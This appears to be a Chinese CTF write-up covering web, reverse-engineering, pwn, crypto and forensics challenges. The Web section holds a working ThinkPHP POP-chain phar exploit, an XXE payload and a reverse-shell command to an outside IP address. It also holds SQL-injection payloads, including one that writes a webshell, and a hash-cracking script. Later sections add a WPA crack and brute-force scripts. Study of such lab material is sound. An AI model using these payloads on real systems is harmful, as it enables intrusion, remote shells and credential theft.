Web

Ticket_System

存在XXE 可读取服务器文件,F12 查看网页源代码提示查看 /hints.txt,获取到提示需要 RCE。

1573381811892

利用 ThinkPHP V5.2.0RC1的 POP Chain,XXE + phar://反弹 shell 后在根目录下trap "" 14使程序不会中断退出,执行 /readflag 完成 challenge 即可获取flag。

Phar exp 可参考: http://m0te.top/articles/Thinkphp%20POP/Thinkphp%20POP.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $append = array("Test" => "1");
}

trait Attribute
{
private $data;
private $withAttr = array("Test" => "system");

public function get($system)
{
$this->data = array("Test" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}

namespace {
$Conver = new think\model\Pivot("bash /tmp/uploads/5d1ef4eb1568455dcd57edb7081e8181/20191111/750e21eaf4887bb1d0476ff2c581d669.xml");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}

攻击流程如下:

1
2
3
1.上传 bash.xml -> bash -i >& /dev/tcp/47.98.224.70/23333 0>&1
2. 获取 bash.xml 上传路径,利用 phar exp 生成 phar.phar,更改后缀为 .xml 后上传。
3. XXE 触发 phar 反序列化 反弹 shell

XXE Payload:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/resource=phar:///tmp/uploads/9ee7098eadd66450d552896a0685ea09/20191110/8d696ecb29fbc5ea014d405dad3c4d3e.xml"> ]>
<ticket><username>&b;</username><code>1</code></ticket>

1573403667936

easy_cms

下载xyh_cms源代码到本地审计,在 \App\Api\Controller\LtController.class.php 中发现 ThinkPHP 3.2.3 的 SQLi. $order_by 参数可控:

1
2
3
$order_by  = I('orderby', 'id DESC');
[...]
$_list = D2('ArcView', 'search_all')->nofield($nofield)->where($where)->order($order_by)->limit($limit)->select();

注入路由: /index.php?s=Api/Lt/alist.html, POST:

1
orderby[title]=and(updatexml(1,concat(0x7e,(select/**/password/**/from/**/xyh_admin/**/where/**/id=1)),1))#

回显位置:/App/Runtime/Logs/Api/19_11_11.log.

1
2
[ 2019-11-11T10:33:55+08:00 ] 10.12.0.34 /index.php?s=Api/Lt/alist.html
ERR: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~2f744817428b953e97ca427d116b18b'

注出管理员 CAs9HnXcQ Hash 和 salt 值 Wk3zDr 后尝试爆破弱口令破解无果,尝试直接写入 shell:

1
2
# <?php phpinfo(); ?>
orderby=id/**/into/**/outfile/**/%27/var/www/html/shell.php%27/**/lines/**/starting/**/by/**/0x3c3f70687020706870696e666f2829203f3e/**/%23

由于 secure-file-priv 限制写入失败,尝试漫游数据库,共 4 个库,其中 3 个库为 mysql 自带库,当前库本地测试有 39 个表,注入到题目环境发现有 40 个表,则多出来的一个表很可能为 flag 表。

1
select table_name from information_schema.tables where table_name like 'f%' and table_schemata=database()

得知 flag 表名为 fl4g,有两列 id,flaag. 可通过延时注入、报错注入等方式获取数据,采用报错注入比较快速,由于报错注入有长度限制可分两次进行注出完整 flag,Payload如下:

1
2
3
4
5
# 报错注入
orderby[title]=and(updatexml(1,concat(0x7e,(select/**/flaag/**/from/**/fl4g)),1))#
orderby[title]=and(updatexml(1,concat(0x7e,(select/**/substring((select/**/flaag/**/from/**/fl4g),20))),1))#
# 延时注入 响应 404 即为 True
orderby[if(]=substr((select/**/flaag/**/from/**/fl4g),1,1)='f',sleep(1),1))

获取到 flag{399e13ad-2ecb-4256-8871-c6325e6cd704}.

尝试碰撞管理员密码的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding = utf-8 
import threading
import Queue
import hashlib

Q = Queue.Queue()

with open('passwd.txt') as file:
for i in file:
oldmd5 = str(hashlib.md5(str(str(hashlib.md5(str(i.split("\n")[0]).encode()).hexdigest())+'Wk3zDr').encode()).hexdigest())
if '2f744817428b953e97ca427d116b18b7' == oldmd5:
print(hashlib.md5(str(str(hashlib.md5(str(i.split("\n")[0]).encode()).hexdigest())+'Wk3zDr').encode()).hexdigest())
break
else:
print("Fuck")

RE (by pwnht)

xx

从题目上可以联想到xxtea

1573441291534

关键判断在这了,如果,v20加密之后的字串和v30逐位比较,如果10次比较成功,就会输出 you win ,那么,之后看v20怎么来的就可以了

然后正向看,在sub_140001AB0() 函数里面,魔数 0x61C88647 为xxtea加密,那么,如果想得到明文需要key,那么怎么生成key

用输入的前四位作为key的前4位(前四位肯定是flag。。。当时还寻思着爆破来着2333),高12个字节均为0

1573441847614

然后进行一个下面的操作,就得到了v20,逆向一下,就可以了

1573442276581

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdint.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v[p + 1];
z = v[p] += MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}

int main()
{
unsigned int key[4] = { 0x67616c66, 0, 0, 0 };
char target[24]={0xCE, 0xBC, 0x40, 0x6B, 0x7C, 0x3A, 0x95, 0xC0, 0xEF, 0x9B, 0x20, 0x20, 0x91, 0xF7, 0x02, 0x35,0x23, 0x18, 0x02, 0xC8, 0xE7, 0x56, 0x56, 0xFA};
for(int i=23;i>0;i--){
int index = i/3;
if(index > 0){
while (index > 0){
index --;
target[i] ^= target[index];
}
}
}
char s[24]="";
s[2] = target[0];
s[0] = target[1];
s[3] = target[2];
s[1] = target[3];
s[6] = target[4];
s[4] = target[5];
s[7] = target[6];
s[5] = target[7];
s[10] = target[8];
s[8] = target[9];
s[11] = target[10];
s[9] = target[11];
s[14] = target[12];
s[12] = target[13];
s[15] = target[14];
s[13] = target[15];
s[18] = target[16];
s[16] = target[17];
s[19] = target[18];
s[17] = target[19];
s[22] = target[20];
s[20] = target[21];
s[23] = target[22];
s[21] = target[23];
btea((uint32_t*)s, -6, key);
printf("%s\n",s);
}

easyRE

这个题目有一个坑点,就是,过了main函数这个判断,的到不是flag,而是,看雪版主发的一个主动防御的文章???

1573445711073

其实真正的条件在fini_arrary调用的函数

1573446213053

1573446287560

只要过这个判断就可以了,正常情况是过不了这个条件的,因为v5是个随机数,不可预期,但是由于,puts为flag字串的话,前四位一定为flag,flag字串和byte_6CC0A0的前四位异或,就能的到v8的值,然后再异或输出flag

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
target=[0x40,0x35,0x20,0x56,0x5D,0x18,0x22,0x45,0x17,0x2F,0x24,0x6E,0x62,0x3C,0x27,0x54,0x48,0x6C,0x24,0x6E,0x72,0x3C,0x32,0x45,0x5B]
key=[]
flag="flag"
for i in flag:
key.append(ord(i)^target[flag.index(i)])
flag=""
for i in range(0,0x19):
flag+=chr(target[i]^key[i%4])
print flag

childRE

首先正向分析,根据调试,这一段代码会打乱你的输入,是一个位置互换的的算法,但是不改变的你输入的值,你输入是和互换的位置是没有关系的

1573448182456

然后,再逆向分析

1573448913949

这里求出 output string ,得到output string为private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)

得到的长度62,而输入的为31,怎么才能的得到这个呢??

1573449689566

百度了一下这个函数

1573449756676

这个函数是为了防止符号冲突,写成特定的格式,防止冲突,那么,这个可以扩展字串吗,当然,我们可以看到output string为一个函数的声明的格式,所以,我输入31个字节,也是可以的到62个字节的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
str_remainder = '([email protected]!08!6_0*[email protected]%%[email protected]=66!!974*3234=&0^3&[email protected]=&0908!6_0*&'
str_quotient = '55565653255552225565565555243466334653663544426565555525555222'
src = '[email protected]#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'

output_string=""
for i in range(len(str_quotient)):
output_string+=chr(src.index(str_remainder[i])+src.index(str_quotient[i])*23)
#private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)
str_input = '1234567890abcdefghijklmnopqstuv'
str_encode = 'fg8hi94jk0lma52nobpqc6stduve731'
flag = []
#[email protected]@@A[email protected]

encode_input = '[email protected]@@[email protected]'
decode_input=""
for i in range(len(encode_input)):
decode_input+=encode_input[str_encode.index(str_input[i])]
print decode_input

最后flag就是decode_input的md5值.

Pwn (by pwnht)

three

1573440323504

这个就不算漏洞函数了吧,算是后门函数,让你读三个bit去之后执行这个三个bit如果返回结果正确就就输出1,不然输出二,如果仔细观察内存的话call这个3bit的时候,寄存器的ecx是我们之前tell me输入的buf的指针,正好 asm(mov eax,[ecx],ret) 是三个字节,所以,爆破就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
__author__ = '3summer'
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims,drop=True:io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
code = '\x8b\x01\xc3'
io = None
flag = []
for i in range(0x20):
for j in range(30, 128):
try:
io = process('./pwn')
# io=remote("47.104.190.38",12001)
sla('index:\n',str(i))
sa('much!\n',code)
sla('size:\n','2')
sa('Tell me:\n',chr(j))
isright = ru('\n')
io.close()
if isright == '1':
flag.append(chr(j))
break
except:
pass
if chr(j) == '}':
break
print ''.join(flag)

Crypto

Broadcast

粗心的Alice在制作密码的时候,把明文留下来,聪明的你能快速找出来吗?

直接在 Python 脚本中获取明文 flag{fa0f8335-ae80-448e-a329-6fb69048aae4}

Misc

签到

完成问卷,获取 flag{Red70_RedHat}

Advertising for Marriage

someone want a girlfriend…..

分析内存镜像进程活动内容:

1
volatility pslist -f Advertising\ for\ Marriage.raw

发现 notepad.exemspaint.exe,分析 notepad.exe:

1
volatility notepad -f Advertising\ for\ Marriage.raw

获取到 Hint: ????needmoneyandgirlfirend.

导出 mspaint.exe 进程内存文件,修改后缀为 .data 使用 Gimp 分析原始图像获得:

img

翻转 Pineapple 获取到 b1cx(菠萝吹雪),即 b1cxneedmoneyandgirlfirend.

filescan 扫描文件发现桌面上存在图片 vegetable.png,导出图像重命名分析。

1
volatility dumpfiles -f Advertising\ for\ Marriage.raw -Q 0x000000000249ae78 -D ./

打开图片提示 IHDR: CRC ERROR,估计宽度或高度被修改,使用脚本计算实际宽高并修复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# https://impakho.com/
# coding = utf-8
import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
for h in range(1024):
data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
print w, h
print hex(w), hex(h)
open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
exit()

获取到图片含有模糊的 flag 难以辨认,同时分析出 lsb 含有可能含有隐藏信息。

使用 cloacked-pixel/lsb.py 解密获取到隐藏信息:

使用 Vigenere 在线解密, key 同为 b1cxneedmoneyandgirlfirend, 获取到 flag{d7f1417bfafbf62587e0}.

恶臭的数据包

野兽前辈想玩游戏,但是hacker妨碍了他连上无线网,前辈发出了无奈的吼声。

打开.cap分析无线流量,WiFi 连接认证的重点在 WPA 的四次握手包,也就是 eapol协议的包,过滤一下:

1573463999838

1
aircrack-ng -w ./wpa-dictionary/common.txt cacosmia.cap

2019-11-11_17-25

Wireshark 的 编辑 - 首选项 - Protocol(协议) - IEEE802.11 - Decryption Keys导入:mamawoxiangwantiequan:12345678,获取解密流量。

tcp.stream eq 24 中提取出 114514.png,WinHex 打开发现后面隐藏有 Zip 归档,binwalk 分离即可。

观察 Cookie 字段为 JWT 解密得到 hint (for security, I set my password as a website which i just pinged before),过滤 icmpdns 流量最终锁定到 26rsfb.dnslog.cn 即为 password,解压获得 flag{f14376d0-793e-4e20-9eab-af23f3fdc158}.

0x02 玩具车

给出的WAV文件是对于所给图片各个通道的时序-电平采样数据,通过导入可以获得各个通道在采样中的电平状态。由wav文件属性可知采样率8000,于是每8000次取样,归一化转换成0-1数据表示电平状态。根据电机驱动模块的工作状态可以得到小车的5种运行状态:前进,后退,左转,右转,不动。对应模拟小车的行进状态画出小车轨迹即可得到flag的图像,最后上下翻转,翻译出flag{63177867-8a43-47ab-9048-298867128b3a}

img

附 Python 脚本 (by FXTi):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from scipy.io import wavfile
import numpy as np
import math
import matplotlib.pyplot as plt

flist = [
'L293_1_A1.wav',
'L293_1_A2.wav',
'L293_1_B1.wav',
'L293_1_B2.wav',
'L293_1_EnA.wav',
'L293_1_EnB.wav',
'L293_2_A1.wav',
'L293_2_A2.wav',
'L293_2_B1.wav',
'L293_2_B2.wav',
'L293_2_EnA.wav',
'L293_2_EnB.wav',
]

def convert(fname):
sample_rate, sig = wavfile.read(fname)
sig = sig.tolist()
sample = []
for i in range(788):
tmp = sig[i*8000]
if tmp > 0:
sample.append(1)
else:
sample.append(0)
return sample

tou_a1 = convert(flist[0])
tou_a2 = convert(flist[1])
tou_b1 = convert(flist[2])
tou_b2 = convert(flist[3])
tou_ena = convert(flist[4])
tou_enb = convert(flist[5])

wei_a1 = convert(flist[6])
wei_a2 = convert(flist[7])
wei_b1 = convert(flist[8])
wei_b2 = convert(flist[9])
wei_ena = convert(flist[10])
wei_enb = convert(flist[11])

lb = [] #left before
rb = []
la = []
ra = []

for i in range(len(tou_a1)):
if tou_ena[i] == 1:
if tou_a1[i] == 0 and tou_a2[i] == 0:
lb.append(0)
if tou_a1[i] == 0 and tou_a2[i] == 1:
lb.append(1)
if tou_a1[i] == 1 and tou_a2[i] == 0:
lb.append(-1)
if tou_a1[i] == 1 and tou_a2[i] == 1:
lb.append(0)
else:
lb.append(-2)

if tou_enb[i] == 1:
if tou_b1[i] == 0 and tou_b2[i] == 0:
rb.append(0)
if tou_b1[i] == 0 and tou_b2[i] == 1:
rb.append(1)
if tou_b1[i] == 1 and tou_b2[i] == 0:
rb.append(-1)
if tou_b1[i] == 1 and tou_b2[i] == 1:
rb.append(0)
else:
rb.append(-2)

if wei_ena[i] == 1:
if wei_a1[i] == 0 and wei_a2[i] == 0:
la.append(0)
if wei_a1[i] == 0 and wei_a2[i] == 1:
la.append(1)
if wei_a1[i] == 1 and wei_a2[i] == 0:
la.append(-1)
if wei_a1[i] == 1 and wei_a2[i] == 1:
la.append(0)
else:
la.append(-2)

if wei_enb[i] == 1:
if wei_b1[i] == 0 and wei_b2[i] == 0:
ra.append(0)
if wei_b1[i] == 0 and wei_b2[i] == 1:
ra.append(1)
if wei_b1[i] == 1 and wei_b2[i] == 0:
ra.append(-1)
if wei_b1[i] == 1 and wei_b2[i] == 1:
ra.append(0)
else:
ra.append(-2)

direct = []
for i in range(len(lb)):
tmp = (lb[i], rb[i], la[i], ra[i])
if tmp == (-1, 1, -1, 1):
direct.append('left')
continue
if tmp == (1, -1, 1, -1):
direct.append('right')
continue
if tmp == (-1, -1, -1, -1):
direct.append('back')
continue
if tmp == (1, 1, 1, 1):
direct.append('forward')
continue
if tmp == (-2, -2, -2, -2):
direct.append('wait')
continue
print("unexcepted direction: " + str(tmp))

turn = (90) / 180 * math.pi
ford = 1
now = math.pi / 2
x = 0
y = 0
point = [(0,0)]
for di in direct:
if 'wait' == di:
point.append((x, y))
if 'left' == di:
now += turn
point.append((x, y))
if 'right' == di:
now -= turn
point.append((x, y))
if 'forward' == di:
x += ford * math.cos(now)
y += ford * math.sin(now)
point.append((x, y))
if 'back' == di:
x -= ford * math.cos(now)
y -= ford * math.sin(now)
point.append((x, y))

print("\n".join(direct))

xx = []
yy = []
for i in point:
xx.append(i[0])
yy.append(i[1])
plt.plot(xx, yy)
plt.show()